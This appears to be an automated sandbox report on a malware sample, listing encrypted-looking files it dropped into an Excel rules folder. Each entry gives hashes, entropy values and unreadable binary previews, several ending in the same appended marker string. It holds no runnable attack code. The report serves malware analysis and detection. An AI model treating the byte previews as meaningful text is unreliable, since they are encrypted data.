..6..h).]....h.@...2...g...,{]0.}..Q.IK8...=..Q..Fu.p...._.y<b.9..,..z....g..Y.w5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.6668722660874
Encrypted:	false
SSDEEP:	12:8YCALd/aT1neCSPOo2cIMqf9dXsLjbGcbEw+TWa/NSdgmkpMSHlDlCK8HDH1+ciD:hRd/adeCSPOo2cINdXsnrEw+Sa/weiCj
MD5:	E0124A4425C73926AB76089927C77F13
SHA1:	A69F74777D5FCFB00E7A685ADDB4ACB19B9538C9
SHA-256:	5CF0EC271814DD8AF1C3C28B4FC44F61A7319EB9F2E4F0C81692CE36802B6A79
SHA-512:	8C22B0EF1FC8E968316B12F610ADB4089BB4DB4330D7902DE0AF2B67DF3C0BAA5FFC934C14620271395601C361697461192837005AC0D7FAB8EE3DD8805C5260
Malicious:	false
Preview:	<?xmlk.e..(.r>.Ap\.........1...@...aP.Fv.o..B#.3.7..e..-qk=\|!...../}TRU..tD<....5.......}...+tb...7..,~G..T]3..L...aK.......G?.7...uy...O.\|.y.M.._.o.0.9.......3@.@....sNKynQ@...3+.tk.M#...8.%>w..m......+P......}..6.,c...A....0.4.JT.k..N...m.?I5.....4s.....-......).....:.E.\|:A...5..Z.r.....!y.e........=q.5.....3...7.d_.\|...i..y....U7.S..9.\|&..f...:.FSU{..yk..S....}:i..1...Q..7.LI(.Z..LZ....B.s.Ihf.x...t..U=z....o....V.....U.(.u....T.R.3:^./......--...~..;.l..gF.L.%..u......4,...F.7.0..#k...n.K...{...........zz.^...O+.....O.A..w..O..:.w.Hk..<,....v.:..dv.D#..\.XW...<..X.s[:.(......@E]T0.n..f..p.].C..nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.893471497925273
Encrypted:	false
SSDEEP:	24:yfRCgiMUkewrzPNPEgOV0hE9ZWL0wvjPN8RqW7jGwXrxWAp6jgsoZFgVjbD:MRn15prpPEg3hE9ZUuRTGArcAp6ToT8D
MD5:	EC27F320B9BE1A312A4281151CC51552
SHA1:	0FFE4128F2973A38D7D60E176380E7107308596C
SHA-256:	8D1689EC8A90D26209B524A86E64E98BD7EFF03F076D2FDA99874FD7CAA977D8
SHA-512:	CF56B37820764D96E0AEDBEFCE0EC18BF8F9B450A736D6948933DF7A4C4A28C90380A9FBF30CFE1BC1295C23C84CC2A9EE69513DF0685B983292D136E3A6ECBA
Malicious:	false
Preview:	<?xml..4..I3..u.P...D....x.4>....s.J....N./....z.......:1..9.w..6.9i...e.......!..-.<...P....gM.e.2Q...F..[.\|~.U.y;.4._.....a.%.ND.x...g..e.).d..9.&1 ....{kw...."...H...%. b........y8.!8g......;...Kn..=..t.....}..3....+..2.Q.......&:...ctj..b........Q....r..7.E....~..Z....$>Z...D.4...P..6...~G.i0....F...p..4=.i..m..%@#...@..U......jF.-&.Xm..l.-b.N^[...@,.....k?.w..k....T...a.LV.s.T.{4...1e~..qJ..I..]..OJ.......T.....-..j.x.,>nF..%....w..KD.q...]i\:....,....{..^.#.E.#...f[f3..S.h.....B.@.aM./`......R....A...S.;.kA\S...&... ."t..b.Qs.t.-..)....1..~..../..BF..^&..]d"g#i.1..;. .A[...2.........&+S.1.D..<....Ps......Uo.....jp..#.^>-..g..Y...+..8..4w~..N-..].%..>1+z./..0;.............0....]a....T.^`........`....z.qP.%)....^~.lG6...Nr.....Y'.Y..7.i..:.!.R..{.BV.nT...G..K.MQ........SJ..,{.h.L.......M....T&:.C.^.EEyx.~.2....a..........U.....Q....v....9;...ZW.W...^..v.. .t.x..ed`.'1.B...BIc...(..We.,>........)5$.....3u..H....cb)%..9.O....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.916431637202839
Encrypted:	false
SSDEEP:	48:rzD3whjq2jkwNNcKyNwg+SCMO6NGYIY7pIa1lrEiAHD:nMq2Iw7ZyNwg+SCMoX/klNAj
MD5:	FC0C15F0C632D1BF5914B547E3BA9717
SHA1:	FBDC097201B4E58299BD43DD4CBECF50066C4D9A
SHA-256:	4369D63254F7899C1E15736880E3AD644DCE9C09D522866352C6ADEA4DECDDF6
SHA-512:	5BC6C77BAB56A297DF3890FD286619CC0D66F194733D7E14A76BB0E93CDB40D2AB136A8E8289D64A63F4C482AC9AA533028451489B8E274FCB12DC9EC69716A7
Malicious:	false
Preview:	<?xml^.........^i.?....f..`...>.6...l..:J.....A....$..3...7/y3Y.l.32...8.hn.x..F.....k..z.......h..T..B.G....YE......N.V0Hp5. ./L.h..G......^u6..In.35.5../@.au..X.u..Y......TP.8.....^.w,b..K........x.@...e....?...._4XO.... <3..5.....q.-}S..I.2......zL`...<..VU%..&..5...sA....../Z._.j..H.u.0...A....P..y....,.(....&.S.".T.........NY..^..v.m.......`;B.u.]#w...CZsz..5B..K....nB.....0 .p.[..z..U...[...R..5..../.W....P,.W14.\|#.:.;.D...1.%..^X..^........=..4M..v.?\|n..zIS&%....-.........o&0$)]".9.............@.O...M,l..P0..O..C...:8.....B...&'............);y%.22X..G..KYg..f.j.i.....qJ.^..k:r...Gx....c4..;.\|O.....W..=._L:....C.[z../.=.q\|;..2)...".8.....T.W...\|Y.....i)....?..U.?...9.E.Z. .._'...."..w....(..h..L.N(..j....hO..LK......g...$..A.....~....*.u..[M...A.b.,v>v..WkL..k#.Z.U."d.{....$.r.>0..{...[....Q.w.).\u...7B.LZ....`..s....O]MQ.....].&...I2lt....0j....km(..g..)jHdN..J.d4.v)..8.2.}B#...At..Z(...m\.......1!....f..Z..S.6.9c.......}.@k..V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8931141640171125
Encrypted:	false
SSDEEP:	48:MJqMMeeJflPnxBxmrXuh7a42177QQ0FfcC4xMaD:M07Pnpn24hF4xh
MD5:	987EB707BCCFE3D0F7016E072FF1E763
SHA1:	80343EE47D7A99E039FB9C6E4294475E218B2DF5
SHA-256:	73D2BF0303E3658534348ADF13EC81819AECBAB3CAB40402A72AFD3007624F56
SHA-512:	0B07A7874B70FCBCEF972DDA7500F9BA9E96B3979D0B6C2A68F18714D40A316B655D9A703D1BF05485E42AADBC72CE59795D3B4FEFF32E87F05214A9AE922CB5
Malicious:	false
Preview:	<?xml...Q.$....G.Vi;.W.(.}.1O.f...-..XW..{....4i.7AaUM....r.S..YT.^.^L.p.Tr.[...}..-..C'....;/.k.........v..jL]"..$..{...#..l..5.K..b....k..j.L.6..b-.Al<?..w.30..e.k1..6...c_z...Y...&n.B@Y.G<.C.l2i.%Z.ho4-.K>2.K.<.......&M.9 \N[..(............8.vV...n.QG..K\..W.d..."{...-+.kx..i...#.e..ai.+.....\.!.-$.........[g.UJ.%....j.9(;@....Pm(R.&... ......"...j.v.P?0.k!\.T.]...n...;_j..0....r}b@...z...LJ.>..!7i..)X..].ZQp.H...v.99...L[.#3I...@..i....P..F..>T_ :."...\|?z.C........K.R...v.i..I{.6.I.~..U.^..U......M^.nK..M.iR.9g.R...I<.w.n.z............fJ...f.+.......{a[..?..[..Q4..w.-.q......?.`.P.t"...v..6m..]n...1f..<x..,.D.. }#.~.l..i{DgX.t.S....UV...;.....&.#.-.........I..Ez....{.....W........cF<....K. .*:.w..i.rw.c..,yA.Ae....?.z.A..06}...._..2.G...F..[h...?.#.1...6.?o...$u...[O.H..K.4.K...8..!Us.%.62M..m<S...\...../.s<.W!.p.'..^!c....%..S.I..\|.\M.\..dFS.2.K<...h}.Z1.#x.i....9...@oT...y..m..r......qe...%...@..I...lm;......;D.R../..._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.762542019887073
Encrypted:	false
SSDEEP:	12:L4fnnraCpRiAnvvSju0NtXrrrRpqiqUDTpL2UbyuxHcTMFKMxQrTiPKzed/Wd+0c:8fnriaXcu2tXr/qK+uxQNgQrXqd/WAbD
MD5:	C7B54442B32E9F42086997F6FD5A565D
SHA1:	69A27BC30C18FF9D02D8CFA74AE8A8194545CFDB
SHA-256:	6936CCE3FE82E99B5A38367C78C2814BC8EA08E99666094504F98837A48CFBE2
SHA-512:	78C837827A063AF8778BD791A2081FA8F54808E0628E84D1E245A873E44B3DBED0BF492DBC513DD62F2768C1D04DBA1CBAD8519750CE0556BE782A54DBED7CBC
Malicious:	false
Preview:	<?xml.6..:(]zj?..7....O..I..).8.rsd....J.....D..S.~.....d.....V,=jS.R.(...\|q..(..pp)IO[t.4x....Sr:...-..]Q...m..&......z.....y......m6v.....2.._.q..P.S=....8..kn.V....b(.W}.'.aX.HO.........m..r.5.....f#.]5.......$."*a....5K.<K.Y.]Z.m0W.E"...T....X8.:\|`Z....d(.:.-...<.k.P.......U..%.C.._.c...$..8?..m...Y\|..KM...o.%...S.Zb.G..{...f. y)..n^.....=D.u....b.1.S..a.A'o....0..IS...K....e....Z.....%...7.E.E.&n...~.....V.j.N....z{P..0Y...6.^...ok.}.......=...x..0..y.'..[(.(.af^.u....Iu......\|=.2L./.....}H.]`E_.\n.....6....../.[..2e!v.w.$e.{m...Q.......8.O...S.>..A.8..f...Y%.19...I....;i..m......A9..Se.L1...:Y....y.....NnV.......y.........p_....2.@...l&..$K^D.f8.y.\/o5.E.O.D..[.P]3......k..N/.Z..0X9X$._..O.......:....<...I...:...P<.4O.......cF. .G\.......z....:.A......L>....K.........0.p..V.E....~...9.Wi.\..jSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.775403539904714
Encrypted:	false
SSDEEP:	24:Evuxn78xj9HG+V0QVoY8zK6bhcbIwJ+ZFbD:EWZKB1TR8WShcbIZVD
MD5:	961A6300115218A91A53459583D2B36D
SHA1:	B51E646247F882D8AE39CD27D997E0FB64ABCD1F
SHA-256:	2B7BF3868193118E222D892637D7C7B5087A314AA19F70424B55C3C01E4CFDD9
SHA-512:	165841AA276CEE06AAF542FCC13721811979AB6985D420A98971903206B2B5F0A7FCC63E1D0A6500452AB4623556D65FF0F0F859233E7DC58F88662F084B5F87
Malicious:	false
Preview:	<?xml...C\|)...F.:fi.. ..f.HZ..@tM..G.T.....ak..3D....>et.j....%W&0....&...~...Lv.z..~...m.....#.....t..f6.;.(.l.&l......Tmh.n....".U^S.Ea...W..._........I1d.....&.;H.p.f.[..8[.r(C.fn...q{.... s..^...S...-^.q.)O......q<.....ty\RB.u...2.3ke...(..j.. .....]p\.u.1x..R.#..]6...H.Qa...5.d32..I..dS0.B.f..;..:..N..Mo........G.[ED.<m.G/.d[....;.....R.pI.P....N..y...x^.ny.-C.F/...'Z..1K.g.).g...t..E1..wi>x..E..R."z..Q....o._).>..(F......f.`.V.2.h.1D.,...).hN.c......a9.Y\|..fI..^.d.Osu{.m.G.......r\|.........q3...N ?...y.......NPL_...g6..~...G...4W.....<.....l.m.^le...zzF....>....H{.<.....O..D8,{.lG..D.Y.....#.<..=.=S.en.2....hf2f...n[E...^j.J.g...g,-.a....I...\|~..I.\..".==u.2.O....7..A)...C=..bM..8K.s.p>'....#2........t..F.,.:.R.>.....8F.0.B..y.Of...5..G%....*H.h....o.....`...YTv...5.%.9.I.OY.@......Y..k...7.....\|....#...)FX(..1..X]....u...0.L.I.<.{..JJSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.910549121423537
Encrypted:	false
SSDEEP:	48:9Pd6ZiYfKJF4xMzDm9IJsnYSKMIC4trUfcqSHvy/Gur68rVrPrhD:9F6ZidP4xMzDm9IJi3ytQkqSHvy/FrlX
MD5:	D3CFBA40CF8527EDCF32B425EC67C2DE
SHA1:	233664CA30C2B557AFACF8FFA917B946625B2721
SHA-256:	13A810C6C39BB33CF765212351B59D50EE4D2E3332FEECE7EC35C9E81E6CA01C
SHA-512:	8C4DE53DF394EA3B28F76A762CB9494AD65705021A24690E01DD47A3E29E1F125CEFE840259409940A4D86589B0C633A900B713FB711F5FAB1C7A034481003FC
Malicious:	false
Preview:	<?xml.6.._&?xW....U.2".'....6f.-.+R.)s_v.}w.n6U....AY6.....A..5..F...KO.. ...L.....Z@s%ke...A..P.%&._.r..a.d...9.,..@~....@oIa...I3&..ve..fc~..,L.c..o........%...F.....L#..~.^.I...I7k_.....i...dq.........^.S\|.....y.,d......wbM-.$FQ.?...7.P..k.a.t .64.trtjRC......}3..................H.E^.A&...3.[.!.l.'.U...I../.-~.r...2 gl.K.7~xW...).c.-y.....l.3l...U..:..i.........T..6W..2....'.....\.R..S.z%..S..#.....HT.." .U..3.!G&6K...o.+...?.A..e....'...~.. ....n.OH.L.F.4..q.IG_....:.(.+.........y.,.R......5^..vU.r.;Z[l..p..M[g..\j.P^......'..n}q.W..!\|.._..pJZ..?......<:o..e..3..1k[...f..%.{.1D...o...5..@...0Q..@..q..:e.<....`..-2....k`...+U..x:.trh..2~jOZ..n.Y.u.....l.......>...I...s.S........;......!Z.....eyS...jQX\1&..k>...%.4...l...x.\...p.&Z...d..%_1.{...KX..i...I?...~.4.+)8..'.y...C!..i.5...JG.....w.....h....H.iB........D....8%n}.{.......g.\(. U...?C`...?....}.h.....C=..K.%..8N:Mk..%,.}..fA3s.m......-..KEc.1..U.....7..;Z./...y.Q).-)f_......S...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.889802737729627
Encrypted:	false
SSDEEP:	48:oscrRC6z9+85nFukg47lRqNFvNwAuhZX8oD:7uXzsmnckVHqNFbuLZ
MD5:	9EB7EFA6E64794D5D00F7D443849B9B1
SHA1:	28A7587936A914451DB31BF02584F82B448B43EF
SHA-256:	AEC13323DBABB504E4DECB3C52A395A66ACFE0A8C7CCCE1A21B889E25691E532
SHA-512:	75F3E071A15A7B345A0DFCCE0D2B5CFBF78129CCA588030705668E3EC66F1118F12DEEAC1E0527A2D791C5570450129594C6935EF1D768EE2C811820EEAB0F3C
Malicious:	false
Preview:	<?xml.C........;\..(J f.].).Q....S...&...w'..(.MK..P..X....P.A.........)N..2.-..g1.Z.:..B:....,J.......6M.............8.EM..\|Isp...y...M::"p.Vr,A..#h.6....,....w.>...M.....$....%ap...;.....U....."["[....HE..(.....HVG....f2=.`.....>.Q..Cjy....q>...(...9V&!15......a...w.......!...^.ON.G......."...m.^....1_...++Oj.N............f.U..`i_.t....MP...5.j......0."..~..v....s...f;.^.....).f:...p....rEK'....H.M.+G(....f...J(wbB.`G...I..#....U..F........c..AD\.$..j..G=(5.\|.p.8I......F..Kq..4.R...1.U_\..a_>...uG.&..g..M~\|. .nbY:..../<.....Z../.8.+.B.k.yv!..l.\|.U.a.(.u.v.se...{.:1~........sL.^..x%O.U..R..D...X/nLK.d..J...@G....9....LF.c{.7...m.!.;t...t.bk(.a.....@..:..>p...x..~....5<.SI.'.8..6......R.Vz7..u..5...`..D.V&].b..TP..;.)]F.T.....q...]f.\......+.I[/._.b..<.ak......xrq.!O.p3....[..z.(.....^..'Q.O/.......BS..e...../.$e7.^.r~6b.....U.".0=.\|..pO....6z{\}.+.UPG...."..s{..<q@..A?jh+.0..........z...<..i.z,.m...H..f..[......K..?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.731404788197705
Encrypted:	false
SSDEEP:	12:bW9X/ch+bKlKlUmUuucSpnaJ18TlUk0DwJ120zlR1VcV0g2m6O1BIR4cSPBvAH14:bUNbQKO3ugJQ18T8C1F1ueGBs4cSP9bD
MD5:	DBFFDE992B37C96ABED251D112DEDCE4
SHA1:	C5D7D0E121A593ABEEF3882D7188F8FC05B35FD8
SHA-256:	928DA8EC6B69075F9681D42B85B322B73C91868AE716383F26A035031C19D331
SHA-512:	293A884D7DF631DAF85CB16C50A6689BBA8F560782221BB63C6F1356B1F063AB89F9E0D5A847EFB0B5110729B6A6A7728B2EACE6383131BBE1BE82036A75711A
Malicious:	false
Preview:	<?xml...E.$..VTz....q......6.M..6...7%...))..Q.k..Q..mK9M....4I].:\|.D..z.....oF.3..Z....?BQ...\.mv....O...B....#>7&.z.H$..n.a..D.......?..C..P..."}-.?..;......Tsv.....K....58";....T.\...g}../....z..~.....i].=<..I.BWr.+.].}GK...J..D....)..F._...b@a~...i...M.w.(...........[....H..k...}....]0G...i.6.fiU.K.~[D1u..j..V.X..6....H#y.7..-.J9.!.^E ...g-..&..z...3..nu.6....1V....xl..l.m.. n.9$...0.c.NB.`...b-../O....).Y...T...._...T..U.dI..Hu./...a.B.qu.X..`.QN...T%..2........U$k....D...ig.F.q3]0.&.M..0.....;1.o..M....T.IR.bp....T\-.....`t?G......c .=!:).i....#...;#K...>.....u....x...#..8...I..&.....B.....6%7v_.z..[.l.X;i...7.....o.]IlE.2.Wv.-..T....uN.a.g;:~.4...r/.#...~..SX!...=.t&.TU.\|.=...{..KU......k.....6..8.. .V.'GL...'w.8(.AA...).[..7?O.oe....'iUA.u..\.....~..6..z....*.ya..`9..\|(..-...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.813454489628152
Encrypted:	false
SSDEEP:	24:rO5KjkLMkRkmFRxgqRgBd4/yCzl9XSTUSFbD:q5nLMFmfxgqRgBd4SYcD
MD5:	90EB08AED072FDC51DF47FB2DAC75FD1
SHA1:	2F1EA87EAB9438379FC399EC32F6D23E3C33AE0E
SHA-256:	EE35527BC76175969CC9E2346811510CCE162F8931E4A61C0BB935C06E7EBC23
SHA-512:	6EF348670CD2D672CD1CF646E0597DF778B65D7A0CBEB9F5A75D63E5B5C8D7AC2CBE0F7601E27A0778E0F100D501808E302E22872D363638F5FBF932339436AA
Malicious:	false
Preview:	<?xml..#..).$...s/.R...:/....B.m.l.Nc.b..+.N.........S...Wi.......I...4....1.Y.=..4..OZ...r..@]k..5udEsa.k1..8...{..lh.......pz.......d.\.8.$`.m.....y......O.l........t....]....-.J....8.r.......gv.s.......-....!.a ........j4.O...r8P.!..p.......^.>%.t....~&I.f...U._6.%..$..AIjx.L:K.-.sW. ....'sf.J.........`._.......q..Y......O7I...qVQ........M.\'..c%H..C..0..A"..c...HK.#...........u.sb...2...E...j.=...NP...6..7.Lf.*/...W..G....pG..wIYRlX@K.=H._..%..6..H..?Y.5#:z..>..E...`Th.r..2B...H..)A.c..<..l.}r../U..J......E........%....w.J..X..~.!u.m7vvh=...L{.wx.....,.\|g..M}h.j.h........2.....7...8w.s..E.!"i"........TAg+0....lT.......e.......n2.S.2....()Z...i..@S...'.N....8.\o.z.X......t.^1.?.tQ.3..0.2.` ........:.x..%.....0h..'...<.a...}1DaC.......d......)....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.784406025589611
Encrypted:	false
SSDEEP:	24:gKdGW4knd+0E3QZkAZT+YTTjmT9iEMwtJVSsbD:gKH44d+T4kAZiYPjYptJZD
MD5:	2A3BA1DDBE44E48F6CBDBECCAF1E1EDA
SHA1:	35F54EB6D49D128C4C1CEF779C0EC93C5340B262
SHA-256:	2E730A78A29D51CC5173D034B4714C3B750045B983486C8B0871D10F09C754BF
SHA-512:	6466C1C4C48473162DA7AB8BAC186B45E506CED060A6CEF6297846454E62E1E764948A27D97CDF6A2F820E3ACA1A4E1D93EE85961DD26930CDD8DC7F7A14D8B2
Malicious:	false
Preview:	<?xml...Xt0.&C.~Y;s%^.Z._..s}...{..$v...W..K.............<.3.u..\|feQ..&..wCH1.G.;y...%...].9......../\.[....#..Z.L...@.>i....2x.=.0....K(-...A....z.g.[...P.M.~......V".p..\.0.,2m...]{..Wt....ck.+....=\|dlT0.&..h.A......%.....}....TCq}L.].@.-...\{.s. ....;t..P..p.+?G.BCnL.7N...}O~EV......T.X......Gy.....{....u.D..hVMP.5U.....c....0c........}j..+g.j.8..\|....D.F.>o...a...P(\|..."..Rx;.=.............ON._......N./..t...>..@1...K.H.kE.i[......l&.....Q..6=.d(.X...k%..m.Hef.....\m.........:.t....2..).../.e...S.e..<h.d..I.w.W.q2.u....c..~..B"..s;.......(AB.... A/.......0.V....6... >./.....\.p$.....mv..o.D.Q..X...b<G%.,.ugv."O..@.8@.E...V....6V.....@..5+....W...7Q^N.v}c..........,.....;p6c...hI...U...^[Bw...o..B...C.&o@~H..z0.....v..{R.*.Uyp.I+4..q....Cd..xl.T.3.^,Z.....~...f.)8zZ0...Hy....8uL.AZ...sf.-.....{,.....d.@k).J.....\|.$...8.......L$.m..=;..q....6SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.681258083215325
Encrypted:	false
SSDEEP:	12:y5kRJqS7j2po0P2y95qfW33QQHYyLxpggGItSTHudmaSoDlVHHZ/+OiOyNno9f14:y5MJqSv2GE90fW33QQHfkgzSTHudmzWG
MD5:	0DBAE158F5DA79674804CBF2B73E17ED
SHA1:	B888B9B3AA0CA1C043E9D59F4198320F747C7EF8
SHA-256:	9571574A426AB1505C51435F9DDC27B3B595E43B0EC63823E397821DFAD5B9C1
SHA-512:	0F1C506339442EF62EBC2F1CDC25C51A9AE7FEBB50CE628A70686DDABB818FCD6FD20E1AA341AF908C921951E9720FF067BF4405D945038225DF3483FED05602
Malicious:	false
Preview:	<?xml....-.=,(f.3MT.Gg.7.I.'....l............H..IO..>[SH..:.A...).."....+4..?0...!.D)....rM~N3me.$.\|K.8k.j..j9.h`w....M.<..p....n...rEg....>w^"..........o.r...."t....W."q.c.u..D1....\|2...@...x..#.I.t..<....k...e.i.,.O.Qz.....$.s.C.s.t.~.f.u&..dHCx..W.. ....." PN..,E...L.c....U.3I^<........?..&.B..W2..:..N5N.J.d...0Qg.pv.sd'\|...... .BA.....H....V..u....L..1.^...T.u..w$..........Cc.....d.....Z..../$\|aMZ.0...x.u.@...3...)EsK.....Bs.l.5S.e5.tEcLv...!4.J..H..}.;7....6r.M:..f..W.EK'A...<.X@.!@.......8.(.ty.`.M.0,c+.n..._.H3 ........E.......x..F...-...u.........\.W/...h....B...........Z.Z..M.c..P..p. ......@....7SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.780128050009943
Encrypted:	false
SSDEEP:	24:b0QTYFaQqCTI+CxquDxv9RDClfYuuCYaNoLBHFqAbD:b0QUDqYCguDl98uCYGoLxFnD
MD5:	E79E35B08DC8F6DA105AAC7478FA62A5
SHA1:	3C7012B11AB75365528A55749976743AE493B0AE
SHA-256:	5192AEF33F39B95AB6F89E22DF8D53F20DEDC0EF0E6F2C4CB7F96C4ECDC617D2
SHA-512:	DBAAE9DB7F668483712070C36A58F809D1D2DD9224A2F1B87C1A3CFBDBF69266D5A0B153BAE569576BE30C50DE03162E62442B236B22DC273429C2ADD9E4A4DB
Malicious:	false
Preview:	<?xmlX6?)...8~<.>yY.$.h~\2q.Z/P.S..._..]$l..M...OtP.....k ....73.F.y.#....b..lv.H.S....U....ZA.DK....&..x...8.Q@1a....K..1.-0..6.Q.!....j...j.r.]IWn.].b....!....?..1W..`.I.k\.1..k..id.GW.y.q.....`r......;3..s..,.b+o.. .P...z..gh.........S..>6`...X..wJeG.a.-.,. T.h.F.UN...W. JS.@9.J5E..~V...R....q........F8?.w:t.uS$.{A0.N../....]......c......b._.......l2.K.V:n...T...%..W4.{..e.2..IY..`....z7S..YA%"...o...^.>W.3e...\|.if..%<RA......'.f...6.=....^...'%..?"....d../hp#..+ka.F...a.LS..mg..2.\...[F<...eG.x.....T5lp.&.l^.t..`.0O...{...)...C.....W.q.f.<...d_....q...^.Be\|l.....1.b...}..%y1.Q'..t2G...0:X...SJ.&.iF.S...@Q.%.ze.....z..Q.......h.....<...E.h.HSL...%#U.P...\......Y9....R.6.........=.M..fH..z.F..MI..!.#..0&f.Ki.C.Y...Z..F.g2..h..!...'....E#."S..z.u......H.I.~..I.D.u$TH("...UkbAt....Si.......&.c`.o.m..$Wq[...........!..o...Q......{.r9..haLf!.ri9T..97..A%.Z1.3_.... .....-..- .q\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.812394481749052
Encrypted:	false
SSDEEP:	24:XqdRC1bMhNyKAgNJRwJAJAKLtvwVN0WwzBi+KqbD:Xqdwb6UWNoVN0R5D
MD5:	AA855864C8881AB7F0B42722115B7CC7
SHA1:	392F2A5763DF52D1A25364BB1BEAF8DBEB6D39F4
SHA-256:	6AD7172EC4581547D21DA78E8FE83CBBF66450E714956C4097D12D99BBEEE8B2
SHA-512:	64F1A83BE912F3BE9ACEE5D03E28F5FA3FD25B163306CE46D366E0927D39AC474B14185D280C6791909007F69375FD51FF95B95DA5123FEFF61D92B40459DCCA
Malicious:	false
Preview:	<?xml...BC...Qe.I4.z.....O..#.Q^.[v_&..r&>.......r....&..=.../.).m..+X.)).u........h'0la..@fH.f).SPx...{.Q.........}...y...2...m...D...P.Rz3.".......QO..z!\.ON"&...Xq.....Y5....$Op_..~.qz>.a...-.(......glt(.R.K..b.j.O0.?.i...a...E.q...S.FB..)..M.......... ......3.h.L[.D.............Z..>.H..."..X5..4.J......].Dj:....."..+..5.X.!..j..:......rhc.N?.q..6..D...s(...%...hr..~'../[........`7...?.U..H.,..5...T5.2.I...4...\..Ph.v......c..Z....u...i?.....?_....T....Cc...%...LB.\|%3...[pl....Kum.B.J[N.\|J#...Tb..QtJ_...ZV..ne..[ExN...fZ\|A.GR...pL...C...%.U?..L6<o.Y:#...^\a.^......y3{..e.{..4Z[.....h\.'..O.....A~...$w..+-8...s.....=..L.prf...0.3<\|.AwmrJ..2I..".(g..3.....o..NA9..\Y.B.o..?..@....&. 7.+.......:....!TI...%..8t...8v.W......!m...x.W.U...&..,r...tF:Z...8c..n!....QW.....U.Hu..eNm..no.y...M..H.[.r,,).]...v.Oy'..6.+.i.....<....a..p.n)Yr..H<v...WV..#..#.....s%<...W..M..36...b...FR.lV....B./.b.....){0.B......@....r.M...V......Bms.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.8786339573695985
Encrypted:	false
SSDEEP:	24:oOvsgRD1/REewUyOnE+qipo8Rh2jkJR0Ae3Uhhywvp8EdrwXbD:oOvs41Z/nWipwkL0YhhlR8DrD
MD5:	3E7A147DFD5B70C7B756669F9B12A7A9
SHA1:	F02AC77191FDC8F55A13697839B52604830F2DA6
SHA-256:	679039F5E24A263F50D1E3C1A6381C2F7D52BFB54E72346829E2714843D7B088
